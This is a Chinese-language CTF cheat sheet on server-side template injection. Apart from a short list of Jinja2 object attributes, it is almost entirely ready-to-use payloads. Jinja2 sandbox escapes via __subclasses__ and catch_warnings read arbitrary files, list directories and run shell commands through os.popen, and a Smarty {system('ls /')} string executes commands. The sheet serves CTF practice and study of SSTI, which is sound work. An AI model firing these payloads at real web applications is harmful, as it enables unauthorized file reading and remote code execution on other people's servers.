CTF-Web【模板注入】漏洞做题姿势积累

前言

本篇文章专门用于记录做模板注入类题目的做题姿势,会不断更新。

Image

jinja2函数和属性

1
2
3
4
5
6
__class__    返回调用的参数类型
__bases__ 返回基类列表
__mro__ 此属性是在方法解析期间寻找基类时的参考类元组
__subclasses__() 返回子类的列表
__globals__ 以字典的形式返回函数所在的全局命名空间所定义的全局变量
__builtins__ 内建模块的引用,在任何地方都是可见的(包括全局),每个python脚本都会自动加载。

读取文件payload

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('文件名/文件路径','r').read()}}{% endif %}{% endfor %}
1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{  c.__init__.__globals__['__builtins__'].open('文件名/文件路径','r').read()}}{% endif %}{% endfor %}
1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag.txt').read()")}}{% endif %}{% endfor %}

查看指定路径下所有文件

1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__']['__import__']('os').listdir('/')}}{% endif %}{% endfor %}
1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}

Smarty

执行命令

1
{system('ls /')}

查看smarty版本号

1
{$smarty.version}